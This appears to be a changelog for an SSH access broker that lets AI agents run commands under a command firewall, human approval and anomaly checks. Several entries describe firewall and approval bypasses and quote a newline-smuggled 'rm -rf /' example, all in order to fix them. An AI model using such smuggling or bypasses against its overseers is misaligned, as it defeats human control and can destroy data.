policyFromHostshardcodedallow_as_bastion=truefor every host, grantingpermit-port-forwardingon every cert and contradicting the documented default-deny bastion gate. A newallow_as_bastionfield on the localHostConfig(default false) plus automatic enablement for hosts referenced as another host'sjumptarget preserves existing jump chains while honoring the gate for leaf hosts.
[v1.12.7] - 2026-06-13¶
Final batch from the logic-flaw review: the remaining low-severity findings, plus a build-time version that can no longer go stale.
Added¶
- Build version is derived from the git tag. New
internal/versionpackage whose value is injected via-ldflagsfromgit describe --tags, with a fallback to the Go build info (module version or VCS revision) so a plaingo buildnever reports an empty or hard-coded string. A newMakefile(make build/make install) wires the injection for every binary. The MCP server now announces this version to clients instead of the hard-coded1.4.1constant (removed). - OIDC clock-skew tolerance (
oauth.clock_skew_seconds, default 60s) for the HTTP frontend.
Fixed¶
- OIDC:
nbf(not-before) is now enforced. go-oidc validatesexpbut notnbf, so a token marked valid only from a future instant was accepted. The verifier now rejects not-yet-valid tokens and also rejects a token whoseiatis in the future (which would read as a negative age and slip under the max-age bound). Both apply the configurable clock skew, avoiding spurious 401s from minor IdP/host clock drift. - Shell sessions no longer drop a final unterminated output line. When a
command's last line lacked a trailing newline (e.g.
printf hello), the shell wrote the end-of-output marker on the same line andExecdiscarded the text before it, returning empty output. That text is now captured. A marker line with a non-numeric exit code now marks the session broken instead of silently reporting exit 0. - HTTP broker no longer maps every failure to 403.
cmd/brokernow returns 400 for a malformed request, 404 for an unknown host, 502 for an infrastructure failure (SSH dial/exec, or the signing service unreachable/5xx), and 403 only for an actual policy/authorization denial. Upstream (502) responses carry a generic message so internal addresses from dial errors are not leaked to the client (the full error is still audited). New error categoriesbroker.ErrBadRequest/ErrUnknownHost/ErrUpstreamandsigner.ErrSignerUnavailableback the classification. broker-ctl reloadverifies the PID is the signer before SIGHUP. A bare liveness check could SIGHUP a recycled PID belonging to an unrelated process; it now confirms the process command line looks like the signer and otherwise falls back to the authenticated HTTP reload (which targets the signer by URL).- Session recordings are size-capped (
recording.DefaultMaxBytes, 100 MiB, mirroring the audit-log rotation size). A long or abusive session can no longer fill the disk; the recording stops with a truncation note once the cap is reached.
[v1.12.6] - 2026-06-13¶
Second batch from the logic-flaw review (v1.12.5 shipped the two signer
firewall bypasses). Fixes across sessions, the SSH layer, the control plane,
the audit chain, and broker-ctl/CA.
Security¶
- Behaviour guardrails key on the authenticated broker CN, not the
client-supplied
end_user. The control plane keyed its rate limit and anomaly baselines onend_user, an unauthenticated JSON field, so a client could rotate it to get a fresh window / first-seen baseline on every request. Newtrusted_forwardersconfig (control-plane): only for CNs in that list doesend_userqualify the subject (<broker CN>:<end_user>); every other CN is keyed on the broker CN alone. See THREAT_MODEL.md non-goal #2. - No self-approval. The originator of an approval request can no longer
approve or deny it (four-eyes), even if its CN is in
approval.callers; the attempt is audited asself-approval-rejected. - Audit hash chain is continuous across rotation.
maybeRotatereset the chain to zero, so deleting or truncating a file at a rotation boundary was undetectable. The first entry of each rotated-to file now carriesprev_hash= hash of the previous file's last line.broker-ctl audit verifytreats a first-lineprev_hashas the chain seed.
Fixed¶
broker-ctl audit verify --keyno longer reports false signature failures. The CLI re-implemented the signed entry struct and was missing five signed fields (policy_rule,dry_run,approval_id,approved_by,anomaly), so any entry with one populated (denials, approvals, anomalies) verified as invalid. It now usesinternal/audit.Entrydirectly;show/tailalso render those fields.broker-ctl ca-keys add/removepreserves all fields. The command mirrored only 4 of the 7ca_keysfields and re-serialised the whole map, silently droppingkey_version,tenant_id,client_id, andclient_secret_envfrom every entry (breaking AKV service-principal auth). It now edits only the touched entry as raw JSON.- Session reaper no longer kills a session with a command in flight. The idle TTL (5 min) could fire under a longer exec (10 min cap), closing the connection mid-command. A busy counter protects in-flight sessions; the idle clock now counts from command completion.
- Shell sessions fail fast after a desync. After an exec timeout or output overflow, the per-session end-of-output marker was left in flight and the next exec returned the previous command's output and exit code (also corrupting the audit trail). Such a session is now marked broken and every later exec errors asking the caller to reopen it.
- Output over the 10 MiB cap is truncated, not failed.
limitedWriter/syncBufreturned a short write at the cap, which aborted the SSHio.CopywithErrShortWrite— erroring the command or stalling it until the 10-min timeout. They now consume all bytes, discard the overflow, and return the truncated output with a marker. - AKV signer pins the key version at startup. With
key_versionempty it resolved "latest" on everySigncall; after a Key Vault rotation, certs were signed by the new version while the cached public key (and the cert'sSignatureKey) was the old one, so sshd rejected them all. The version is now pinned from the KID returned at startup (rotation requires a signer reload/restart). - Intermediate ProxyJump hop dials are time-bounded. Only the first hop had a dial timeout; a dead bastion could hang a connect indefinitely. Every hop's dial is now bounded by the request context plus a per-hop timeout, and the context is cancellable.
broker-ctl host add --scanhonours the port in--addr(passesssh-keyscan -p) and handles IPv6 literals; it previously keyscanned port 22 regardless, risking a wrong/hostile host key at onboarding.broker-ctl host add --forcepreserves unspecified fields. A--forceupdate reset every field not given as a flag (sudo, groups, callers, TTL) to defaults; it now starts from the existing entry and overrides only the flags explicitly set.- Per-session goroutine leak removed.
shellReaderblocked forever on its channel after a session closed; it now exits on a done signal. - Reaper close/audit moved outside the session-manager lock, so a slow disk or a hung connection close no longer stalls all other session operations.
Added¶
- Control-plane config field
trusted_forwarders(list of broker CNs); documented incontrol-plane.example.json.
[v1.12.5] - 2026-06-13¶
Security¶
- Signer: two command-firewall bypasses closed (found in a logic-flaw
review). Both are in
PolicyTable.Resolve/CommandPolicy.Decide, the authoritative AI-action firewall: - Unknown
role/purposeno longer skip the firewall. Command-policy evaluation is gated onrole == targetand theforce-commandis baked only forpurpose == oneshot; both values arrive from the wire and were never validated. A caller authorised for a host with acommand_policycould sendrole: "x"(orpurpose: "") and receive a certificate for the target with no force-command and no policy check — a full interactive shell.Resolvenow rejects any role/purpose outside the known set (default-deny). require_approvalis no longer dropped on chained commands. Withshell_parse,DecideoverwroteneedsApprovalon each command of a chain instead of accumulating it, sosystemctl restart nginx && systemctl status nginxissued the cert without the human approval the first command required. It now OR-accumulates approval across the chain and keeps the matched rule for the audit trail.
Regression tests added for both.
[v1.12.4] - 2026-06-10¶
Changed¶
- README trimmed to a landing page (862 → 203 lines). After the v1.12.1
documentation split, the README duplicated ARCHITECTURE.md, OPERATIONS.md, and
THREAT_MODEL.md almost in full (sudo/sudoers,
broker-ctlflag table, hot reload, auth diagrams, the AI-action firewall, approval/behaviour, etc.), which was already drifting. The README is now an orientation page: pitch, frontends, documentation index, "why", a one-screen "how it works", a feature overview table linking to the canonical docs, the competitive comparison (kept in full), a quickstart, the API summary, and security/testing/license pointers. Removed the staleSecurity (v1.4.1)table and the duplicateProduction roadmap(single-sourced in THREAT_MODEL.md / HANDOFF.md). - Repointed the two inbound links that referenced now-removed README sections (USAGE.md → OPERATIONS.md §4 and ARCHITECTURE.md § AI-action firewall).
Documentation only; no code changes.
[v1.12.3] - 2026-06-10¶
Security¶
- Dependency & toolchain CVE fixes (found by the new govulncheck CI job).
Bumped
golang.org/x/netv0.54.0 → v0.55.0 (3 vulnerabilities, incl. an idna issue reached viasigner.Remote.FetchHosts) and the Go directive 1.26.3 → 1.26.4 (two standard-library vulnerabilities innet/textprotoandcrypto/x509).govulncheck ./...now reports no vulnerabilities. - Signer validates
signer.jsonon load and reload. NewPolicyTable.Validate()/CommandPolicy.Validate()compile every command-policy regex, reject unknown modes, and check that everyjumptarget is a defined host. An invalid config is now rejected up front (preserving the previous good state) instead of silently breaking a host on its next request.
Added¶
- CI quality gates (
.github/workflows/go.yml):gofmt -lcheck,go vet,go test -race, and agovulncheckjob — mirroring the CODING_STYLE / CONTRIBUTING pre-commit checklist that was previously manual-only. Pinned to Go 1.26.4. - Graceful shutdown (
internal/httpserve.RunTLS): the signer, control-plane, broker, and HTTP MCP frontend now drain in-flight requests on SIGINT/SIGTERM viahttp.Server.Shutdown, so the deferred audit-log close/flush actually runs (it did not when exiting throughlog.Fatalon a rawListenAndServeTLS). LICENSE— proprietary, all-rights-reserved notice.
Changed¶
- Docs: THREAT_MODEL.md gains two explicit non-goals — secrets logged
verbatim in audit logs/recordings (no redaction) and audit-write fail-open.
OPERATIONS.md gains a key/certificate rotation runbook (SSH CA via
TrustedUserCAKeystwo-CA transition; mTLS CA/leaf rotation).
[v1.12.2] - 2026-06-10¶
Changed¶
make_presentation.pybrought up to date (v1.12.1 content). Cover and roadmap version refreshed (v1.11.0→v1.12.1); portable output path (writes next to the script via__file__instead of a hard-coded/home/luislgf/...); slide-header comments renumbered sequentially (1–34, dropping stale(was N)/(NEW — X)annotations and duplicate numbers); dead numeric argument removed from everyslide_number()call.- Added two slides: Hardening — fail-closed by default (v1.11.2 / v1.12.0:
fail-closed OIDC groups/iat, signer-level newline rejection, host list scoped
to the user's OIDC groups, bounded approval state, uniform DoS limits) and
Security limits — what we don't claim (the threat model's explicit
non-goals: sessions without a command firewall, behaviour as detection not
containment, no KRL, default-open
callers).
[v1.12.1] - 2026-06-10¶
Changed¶
- Documentation split —
HANDOFF.mdbroken up by topic/reader. The 1,100-line HANDOFF (architecture + design decisions + runbook + PKI + pending + versioning - test plan, with the design decisions numbered out of order) is now:
ARCHITECTURE.md(new, EN) — diagram, request flow, design decisions renumbered and regrouped by theme, sudo elevation mechanism.OPERATIONS.md(new, EN) — runbook: startup, adding hosts, hot-reload,broker-ctl, PKI inventory, reference configs.CONTRIBUTING.md(new, EN) — branches,X.Y.Zversioning, the mandatory pre-commit living-docs checklist, language rule.HANDOFF.md(reduced to ~145 lines, ES) — current state, file tree, pending work, test-plan snapshot, resume notes, and a documentation index.CODING_STYLE.md— language table corrected (CHANGELOG.mdis English since v1.9.3; new*.mddocs are English;HANDOFF.mdstays Spanish); the checklist now points toCONTRIBUTING.mdfor the workflow.README.md— added a Documentation index linking the new files.
Added¶
THREAT_MODEL.md(new, EN) — assets, actors/trust levels, trust boundaries and guarantees, and an explicit non-goals/gaps section (sessions without a command firewall, broker-asserted behavior subject, no KRL, no signer rate limit, in-memory single-instance state, default-opencallers, CA custody).SECURITY.md(new, EN) — supported versions, private vulnerability reporting, scope (links to the threat model), secret-handling notes.
Documentation only; no code changes.
[v1.12.0] - 2026-06-09¶
Added¶
ssh_list_serversfiltered by the end user's OIDC groups. The host list was served from the broker's cache (fetched with its own CN), so a group-restricted user saw every host even though the signer would deny signing on most of them.GET /v1/hostsnow includes each host's RBACgroups(labels, not secrets), andEngine.ServerInfos(caller)filters by group intersection when the caller carries groups. Nil groups (stdio/mTLS) = full list (compatible); empty groups = no hosts.
Fixed¶
cmd/brokerhardening (A1/A2). The HTTP+mTLS one-shot frontend was missed by the v1.4.1 pass:http.Servernow setsReadTimeout/IdleTimeout(noWriteTimeout— the response waits for the remote command) and/v1/ssh_runlimits the request body to 64 KiB.- Approval registry memory growth.
control.Registrynever deleted entries; expired/denied/consumed approvals accumulated for the lifetime of the control plane. Entries are now purged 2×TTL after creation (opportunistically onCreate/List); a purged id answers 404 on later polls instead of 408/410. - gofmt drift in
cmd/broker-ctlandinternal/ssh/shell.go(no behavior change).
[v1.11.2] - 2026-06-09¶
Security¶
- OIDC per-user RBAC is now fail-closed. With
groups_claimconfigured, a token without the claim is rejected (401) instead of being accepted with no group restriction. Previously a claim-name typo, or an IdP that stopped emitting the claim, silently disabled per-user RBAC for every user (EndUserGroupsnil = unrestricted in the signer). An explicitly empty groups list is still propagated as-is (denies every host). (internal/oauth/verifier.go) iatclaim required whenmax_token_age_seconds > 0. A token without a numericiatwas previously exempted from the max-age check (fail-open); it is now rejected, since its age cannot be established. (internal/oauth/verifier.go)- Newlines rejected in one-shot commands at the signer. A command
containing
\n/\rcould smuggle extra command lines past regex command policies withoutshell_parse(an allowlist^psalso matches"ps\nrm -rf /", and the remote shell executes both lines of the force-command).PolicyTable.Resolvenow rejects such commands authoritatively on every host (local and remote mode); compose with;or&&instead. This also makes the long-documented API.md constraint real. (internal/signer/signer.go)
Fixed¶
- Documentation coherence pass (API.md, USAGE.md, HANDOFF.md).
ssh_list_serversno longer documentsaddr/userfields it never returned;ssh_session_openreturnsserial(notelevation_prefix);ssh_executedocumentsdry_run; the 403 cause "TTL cap exceeded" removed (TTL is clamped, not rejected); session newline restriction scoped toshell/pty; USAGE examples updated to the English tool output (v1.9.3) and a multi-line heredoc example that the broker itself would reject replaced; HANDOFF duplicated architecture diagram block and stale "signer requires restart to reload" note fixed.
[v1.11.1] - 2026-06-09¶
Fixed¶
cmd/broker-ctl: criticalcommand_policysilent erasure bug.host add --forceandhost removesilently deletedcommand_policyfrom existing hosts becausehostEntrylacked the field. Fixed by addingCommandPolicy json.RawMessage \json:"command_policy,omitempty"`tohostEntry, which preserves the raw JSON verbatim through any round-trip without broker-ctl needing to understand the internal policy structure. When--forceis used without any policy flag, the existingCommandPolicyis copied to the updated entry. When policy flags are explicitly set, a newCommandPolicy` is built from them (replacing the old one).
Added¶
-
broker-ctl host add: command policy flags. New flags:--policy-mode(allowlist|denylist|off),--allow,--deny,--require-approval,--shell-parse. Internally usesbuildCommandPolicyJSONandcommandPolicyLabelhelpers. -
broker-ctl host list: additional columns. The table now showsJUMP,SRC_ADDR,SUDO_USERS,CALLERS, andPOLICY(a short label such asallowlist(2)ordenylist(1)derived fromcommand_policy). The—placeholder is used for empty/absent fields. -
broker-ctl ca-keys add/list/remove: new subcommand group to manage theca_keysmap insigner.json. add --name <n> --type pem --path <f>— adds a PEM-backed entry.add --name <n> --type akv --vault-url <u> --key-name <k>— adds an AKV entry.list— tabular view (NAME / TYPE / DETAIL).-
remove <name>— removes an entry. All operations preserve all other fields insigner.json(atomic write via.tmprename). -
broker-ctl callers add/list/remove: new subcommand group to manage the top-levelcallersRBAC table insigner.json. add --name <cn> --groups <g1,g2>— adds or updates a caller entry.list— tabular view (NAME / ALLOWED_GROUPS).-
remove <cn>— removes a caller entry. -
writeRawinternal helper: shared atomic JSON write used bywriteHosts,writeCAKeys, andwriteCallers.
Changed¶
cmd/broker-ctl:actionvariable logic corrected. The "added" vs "updated" detection inhost addnow checks existence before the map assignment instead of after (the previous code always reported "updated" when--forcewas used).
Tests¶
cmd/broker-ctl: 29 cases (up from 13). New tests added witht.Parallel():TestCommandPolicyLabel,TestBuildCommandPolicyJSON*,TestExtractCAKeys*,TestCAKeysRoundTrip,TestCAKeysRemoveRoundTrip,TestExtractCallers*,TestCallersRoundTrip,TestCallersEmptyGroupsSerialisedAsArray,TestCommandPolicyPreservedOnForce,TestCommandPolicyErasedWhenPolicyFlagsSet,TestCommandPolicyNilWhenHostHasNone.- Total test count: 185 (up from 170).
[v1.11.0] - 2026-06-09¶
Added¶
- Multi-CA support + Azure Key Vault (AKV) backend for CA keys. The CA signing key is no longer limited to a local PEM file; any group of hosts can now use a dedicated CA key, and each key can be stored in Azure Key Vault (private key never leaves AKV).
#### New config field ca_keys (signer.json and config.json)
"ca_keys": {
"_default": { "type": "akv", "vault_url": "https://vault.azure.net", "key_name": "ssh-ca" },
"prod-web": { "type": "akv", "vault_url": "https://vault.azure.net", "key_name": "ssh-ca-web" },
"databases": { "type": "pem", "path": "pki/db_ca" }
}
"_default" overrides the legacy ca_key string when present.
- All other keys map group names to their CA. The first group in a host's
groups field that has an entry in ca_keys wins; other hosts fall back
to the default CA. Backward compatible: existing ca_key string configs
require no changes.
- Supported types: "pem" (local PEM file; emits a warning) and "akv"
(Azure Key Vault — RSA 2048/3072/4096 and EC P-256/P-384/P-521; Ed25519
is not supported by AKV).
- A 30-second startup timeout covers all AKV GetKey calls.
- ca_keys participates in hot-reload (SIGHUP / POST /v1/reload).
#### New packages / files
- internal/ca/loader.go — CAKeyConfig struct, LoadCA(ctx, cfg),
LoadGroupCAs(ctx, caKey, caKeys) (shared helper used by both
cmd/signer and internal/broker).
- internal/ca/akv.go — akvSigner (crypto.Signer backed by AKV);
akvKeyOps interface (enables mock-based unit tests without a real vault);
rawECSignatureToDER converter (AKV returns raw R‖S, SSH needs DER);
parseAKVPublicKey (JWK → Go crypto key).
- internal/ca/loader_test.go — unit tests for LoadCA / LoadGroupCAs.
- internal/ca/akv_test.go — full mock-based unit tests: EC P-256,
RSA-2048, DER conversion, algorithm selection, end-to-end BuildAndSign.
#### Modified files
- internal/ca/sign.go — BuildAndSign accepts ctx context.Context
as first parameter; context cancellation is checked before signing.
- internal/signer/signer.go — Local gains groupCAs map and
caKeyFor(hp) (first-match group selection). NewLocalWithGroupCAs
constructor added. SignIntent selects the correct CA per host.
- cmd/signer/main.go — Config.CAKeys; buildState uses
ca.LoadGroupCAs and signer.NewLocalWithGroupCAs.
- internal/broker/engine.go — Config.CAKeys; HostConfig.Groups
(propagated to signer.HostPolicy); buildSigner uses ca.LoadGroupCAs
and signer.NewLocalWithGroupCAs.
- signer.example.json / config.example.json — documented
ca_keys block with PEM and AKV examples; groups field added to
example hosts in config.example.json.
#### Azure Key Vault notes
- Authentication: DefaultAzureCredential by default (managed identity,
workload identity, AZURE_* env vars, Azure CLI). Override with
tenant_id + client_id + client_secret_env in CAKeyConfig.
- AKV EC signatures arrive as raw R‖S bytes; akvSigner converts to DER
before returning from crypto.Signer.Sign.
- Recommended key type: EC P-256 (P-256 curve, 256-bit security). RSA
3072 is also supported for compliance environments.
- Ed25519 is NOT supported by AKV; use "pem" for Ed25519 CA keys.
[v1.10.0] - 2026-06-09¶
Added¶
-
Session recording in ASCIIcast v2 format. When
session_recording_diris set inconfig.json,shellandptysessions are recorded to.castfiles in that directory. One file per session:<session_id>.cast. -
internal/recording/recorder.go— newRecordertype (thread-safe). Writes ASCIIcast v2 JSONL: a header with session metadata (session_id,caller,host,serial,started_at) plus event lines[delta, type, data]where type is"i"(stdin),"o"(stdout/PTY), or"e"(stderr). Deltas in seconds from session start. - Stdin captured (
"i"events): the command typed by the agent is recorded before being written to the shell's stdin channel. - Stdout/PTY captured (
"o"events): each output line is teed to the recorder insideShellSession.Exec(). - Stderr captured (
"e"events, non-PTY mode only): thesyncBufstderr drain tees bytes to the recorder as they arrive. - File naming correlates directly with the broker audit log: the
session_idfield insession_open/session_exec/session_closeaudit entries matches the.castfilename, making the audit log the search index. - Files are written with
0o600permissions (owner-read only). -
internal/recording/recorder_test.go— 8 test cases: header fields, event types, delta monotonicity, concurrent writes, empty-data skipping, idempotent close, write-after-close no-op, default dimensions. -
session_recording_dirconfig field inbroker.Config(JSON:session_recording_dir). Empty or absent = recording disabled.
Changed¶
internal/ssh/shell.go:ShellSessionandsyncBufgain an optionalrecorder *recording.Recorderfield; newSetRecorder()method propagates it to both stdout and stderr tee points.internal/broker/session.go:liveSessiongainsrecorderfield; recorder is opened inOpenSession(when configured), closed inCloseSessionand the session reaper.config.example.json: documentssession_recording_dir.USAGE.md: new §8 "Session recording" with setup, file format, playback, and storage management.API.md: session recording note added to the persistent sessions section.HANDOFF.md: recording marked as implemented; design decision #18 added.
[v1.9.3] - 2026-06-09¶
Changed¶
- All Go source comments, error messages, flag descriptions, and user-visible strings translated from Spanish to English across all packages and binaries (internal/, cmd/, lab/). No behaviour change.
signer.shecho strings and inline comments translated to English._commentfields in all example JSON config files translated to English.CODING_STYLE.mdsection 10 updated: English is now required for all Go comments (including legacy code); the previous "do not change on refactors" exception is removed.
[v1.9.2] - 2026-06-09¶
Added¶
shell_parsefield inCommandPolicy— whenshell_parse: true, the command is parsed as POSIX sh viamvdan.cc/sh/v3/syntaxbefore regex evaluation. Each simple command in a pipeline or sequence (&&,||,;,|) is evaluated independently against the policy, preventing bypasses such asps aux && kill -9 1000from passing an allowlist that only coversps.
Dangerous AST nodes are rejected unconditionally regardless of configured rules:
CmdSubst ($(...)) , ProcSubst (<(...)), ArithmCmd ($((...))) and file
redirects (>, >>, <). fd-to-fd redirections (2>&1) are allowed.
Backward compatible: shell_parse defaults to false, preserving existing behavior
for all operators that do not explicitly enable it.
mvdan.cc/sh/v3 v3.13.1added as a direct dependency.
Changed¶
API.md—command_policyfield description updated to documentshell_parse.signer.example.json—web02example updated withshell_parse: true.HANDOFF.md— design decision #17 updated with implementation details and reference configuration patterns.
[v1.8.0] - 2026-06-08¶
Added¶
-
Microsoft Teams notifier (
notifier: "teams"). The control plane can now send approval-required notifications to a Microsoft Teams channel via an Incoming Webhook (Power Automate Workflow) or a legacy M365 Connector, formatted as a rich card instead of raw JSON. -
internal/control/teams.go—TeamsNotifierimplementing the existingNotifierinterface. Two payload formats supported and configurable:"workflow"/"adaptivecard"(default, recommended): Adaptive Card v1.4 wrapped in the Power Automate Workflow message envelope ({"type":"message","attachments":[...]}). Compatible with the "When a Teams webhook request is received" trigger."messagecard"(legacy): MessageCard format for tenants still using the M365 Connectors classic mechanism (Microsoft is retiring this format).
- Both formats include a
FactSet/factssection with: approval ID, status, created timestamp, host, command, caller (broker CN), end user (if present), elevation target (if sudo), and policy rule (if matched). approval_url_template— new optional config field. When set (e.g."https://approvals.example.com/requests/{id}"), a "View request" button (Action.OpenUrl/OpenUri) is added to the card. Designed as a forward-compatible hook for the Phase 2 approval bridge (cmd/approval-bridge, not yet implemented). Leave empty until the bridge is deployed.- The card never contains the ephemeral public key or any
WireRequestinternal field (thereqfield ofApprovalis unexported and excluded from serialization by design). -
NewTeamsNotifier(url, format, approvalURLTemplate string)— constructor; emptyformatdefaults to"workflow". -
Config fields in
approvalblock (control-plane.json): "notifier": "teams"— selects the Teams notifier (reuseswebhook_urlas target)."teams_format": "workflow"— card format ("workflow"default,"messagecard"legacy).-
"approval_url_template": ""— optional URL with{id}placeholder. -
internal/control/teams_test.go— 18 test cases covering both card formats, fact presence (host/command/caller/end-user/elevation/rule), approval URL template (substitution, presence/absence of action buttons per format), security (no pubkey leak), HTTP error handling (4xx/5xx), and minimal approval (no optional fields). -
Design document — Phase 2 approval bridge (HANDOFF.md, design decision #15): records the architecture for future bidirectional Teams approval (bot + bridge pattern), multi-notifier config (
notifiers: [...]), multi-channel approval (approval_channels: [...]), and trade-off analysis (Options A/B/C).
Changed¶
cmd/control-plane/main.go:Config.Approvalstruct gainsTeamsFormatandApprovalURLTemplatefields; notifier selection is now aswitchstatement (extensible) instead of a singleif.control-plane.example.json:_approval_commentupdated to document"teams",teams_format, andapproval_url_template; new fields added with empty defaults.API.md: new section "Outbound Notifications — Notifier contracts" documenting the payload format for all notifiers, the Adaptive Card and MessageCard schemas, the fact table, theapproval_url_templatefield, and the security guarantee.
Added (test coverage)¶
- Test suite — high-priority coverage (3 new test files, 47 new test cases).
internal/audit/log_test.go — first direct tests for the cryptographic audit chain (previously untested despite being the most security-critical component):
- Append: sequential Seq increment, correct PrevHash chaining (SHA-256 of previous raw line), valid Ed25519 signature per entry, signature invalidation after field tampering.
- restoreChain: new path (seq=0, prevHash=""), empty file, chain continuity across process restart (3 entries → close → reopen → 2 more entries → intact 5-entry chain), error on malformed last line.
- maybeRotate: rotation fires when maxFileSize=1, rotated file exists, new log restarts at Seq=1/PrevHash=""; rotation disabled when maxFileSize=0.
- Close: no error on normal close.
internal/broker/session_test.go — first direct tests for session management and the two security fixes applied in v1.4.1:
- sessionManager: add/get/remove happy paths, get updates lastUsed, missing-ID behaviour, global limit (maxSessionsGlobal=200), per-caller limit (maxSessionsPerCaller=20), reaper evicts idle sessions and fires onReap.
- C1 (ownership enforcement): SessionExec and CloseSession reject callers that do not own the session; session is not deleted on unauthorized close.
- M5 (newline injection): SessionExec rejects commands containing \n/\r in shell and pty modes; exec mode is unaffected.
- Internal helpers: buildElevatedExecCommand, shellQuoteSession (including single-quote escaping), elevationLabelFromPrefix, newSessionID uniqueness.
cmd/broker-ctl/main_test.go — first tests for the CLI verification logic and utility helpers:
- verifyLog: intact chain passes without --key; intact chain + correct signatures pass with --key; wrong key detects invalid signatures; seq gap detected; wrong prev_hash detected; tampered field (Caller altered post-signing) detected; empty log passes cleanly.
- lastNLines: ring buffer returns last N lines; requests larger than total return all; missing file errors correctly.
- parseAuditTime: RFC3339 and YYYY-MM-DD accepted; invalid formats rejected.
- splitComma, boolStr, auditDetail: all branches covered.
[v1.7.0] - 2026-06-08¶
Added¶
- Behavioral guardrails + rate limiting (Phase C). The control plane now tracks each agent's behavior and flags deviations — statistical/rule-based, no ML:
- Anomalies: request-rate spike, a host the agent has never used before, and a command outside its history (fingerprint = first token). The first request for a subject establishes the baseline (not flagged).
- Subject: the end-user OIDC identity when present, otherwise the broker CN.
- Modes (
behavior.modeincontrol-plane.json):off(default) ·observe(audits anomalies, never blocks) ·enforce(anomalies escalate to human approval — reusing Phase B; rate-limit excess is denied with429). - Rate limiting per subject (
behavior.rate_limit_per_min) falls out of the same tracker. - Implemented in
internal/control/behavior.go(BehaviorTracker); wired into the control plane/v1/signhandler before forwarding. - Audit (control plane): new
anomalyfield; new outcomesanomaly(observe) andrate-limited(enforce). Behavior escalations are audited asapproval-requiredwithpolicy_rule="behavior"and the anomaly list. control-plane.example.jsondocuments thebehaviorblock.
Changed¶
- Control plane
/v1/sign: dry-run requests now bypass the behavior gate and rate limit (they execute nothing).requireApprovalis now a shared helper used by both command-policy and behavior escalations.
[v1.6.0] - 2026-06-06¶
Added¶
- Control plane (
cmd/control-plane) — human-in-the-loop approval (Phase B). A new service sits between the broker and the signer (broker → control-plane → signer), enforcing approval of commands the command policy marksrequire_approval, without holding the CA key (zero-trust PEP/PDP split). Flow is asynchronous (no held connections): - Broker
POST /v1/sign→ control plane forwards to the signer. - If the command needs approval, the signer returns no certificate; the control plane creates a request, notifies out-of-band, and responds
202 {approval_id}. - Broker polls
GET /v1/sign/result/{id}. - A human approves via
broker-ctl approval allow <id>→POST /v1/approvals/{id}. - The next poll re-signs with
approved=trueand returns the certificate. One approval mints exactly one certificate. - Approval is unavoidable. The signer enforces the gate: a
require_approvalcommand is not issued unlessapproved=true, andapproved(likeon_behalf_of) is honoured only fromtrusted_forwarders(the control plane's CN). A broker going direct to the signer cannot self-approve. - Identity propagation + CN pinning.
signer.jsongainstrusted_forwarders. The control plane forwards the broker's identity viaon_behalf_of(body,/v1/sign) andX-On-Behalf-Of(header,/v1/hosts); the signer honours it only from trusted forwarders, preserving per-broker RBAC through the proxy. - Notifiers:
log(default; pair withbroker-ctl approval list) andwebhook(POST JSON, Slack-compatible). broker-ctl approval list|allow|denysubcommands (mTLS to the control plane).- Broker config
signer.approval_wait_seconds: how long the broker waits on a202before giving up. - Audit (control plane, own chained log): outcomes
forwarded,approval-required,approval-granted,approval-denied,approval-timeout,approval-decision-allow; new entry fieldsapproval_id,approved_by. - New
control-plane.example.json;signer.example.jsondocumentstrusted_forwarders;config.example.jsonshows pointing the broker at the control plane withapproval_wait_seconds.
Changed¶
signer.Remotenow handles a202response by polling the approval result;Remote.FetchHoststakes anonBehalfOfargument (broker passes"").WireRequestgainsdry_run(Phase A),on_behalf_of, andapprovedfields;Issued/WireResponsemay carry no certificate when approval is pending.
[v1.5.0] - 2026-06-06¶
Added¶
- AI-action firewall — command-level policy (Phase A). Hosts may now declare a
command_policy(insigner.jsonfor external mode, or in the broker'sconfig.jsonfor local mode) that restricts which commands a one-shotssh_executemay run: mode: "allowlist"— the command must match at least oneallowregex.mode: "denylist"— the command must not match anydenyregex.require_approval: [...]— regexes marking commands that will require human approval (orchestrated by the control plane in Phase B; the signer surfaces the flag).- Enforcement is authoritative for one-shot (the signer bakes the command into the cert's
force-command; a compromised broker cannot evade it). Rules are RE2 regexes (linear time, no catastrophic backtracking). - Hosts with any
command_policyrule reject persistent sessions (the command is not verifiable at signing time). - Implemented in new
internal/signer/cmdpolicy.go(shared library) +HostPolicy.CommandPolicy;PolicyTable.Resolvenow returns a richerDecisionstruct. - Dry-run / simulation mode. New
dry_runparameter onssh_execute: resolves host policy (allow/deny + whether approval would be required) and returns the decision without connecting or executing. Lets the model preview an action before committing. Threaded throughIntent.DryRun→WireRequest.dry_run→WireResponse.decision; the broker short-circuits before dialing. - Audit: new
policy_ruleanddry_runfields on audit entries; new outcomesdry_run_allowed/dry_run_denied. signer.example.json:web02now demonstrates acommand_policy(allowlist +require_approval).
Changed¶
PolicyTable.Resolvesignature changed from(ca.Constraints, string, error)to(Decision, error)(internal API; all call sites and tests updated).
[v1.4.6] - 2026-06-05¶
Added¶
cmd/broker-ctl:auditsubcommand with three sub-subcommands:audit tail --log <path> [-n N]— streams new audit log entries in real time (polls every 500 ms, handles log rotation by size decrease); shows last N lines before following.audit show --log <path> [--host] [--caller] [--outcome] [--serial] [--since] [--limit] [--json]— searches and filters audit entries;--jsonemits raw JSON lines compatible withjq.audit verify --log <path> [--key seed]— verifies SHA-256 hash chain integrity; optionally verifies Ed25519 signatures when--keyis provided. Exits 1 and prints affected sequence numbers on failure.USAGE.md§7 "Reviewing audit logs": live tail usage, filter examples,jqpipelines for correlation byserial,verifyexamples with and without--key, and full audit entry field reference table.HANDOFF.md: broker-ctl section expanded with allauditsubcommand examples (tail, show, show --json, verify with/without key).
[v1.4.5] - 2026-06-05¶
Added¶
USAGE.md: practical usage guide for all five MCP tools (ssh_list_servers,ssh_execute,ssh_session_open,ssh_session_exec,ssh_session_close). Covers one-shot commands, persistent sessions (exec/shell/pty modes), sudo escalation, PTY usage, common operational patterns, error handling, and a quick-reference table.HANDOFF.md: added mandatoryUSAGE.mdupdate rule (step 4 in "Mandatory pre-commit checklist") — must be updated when a tool is added, removed, renamed, or its parameters/behaviour change.
[v1.4.4] - 2026-06-05¶
Added¶
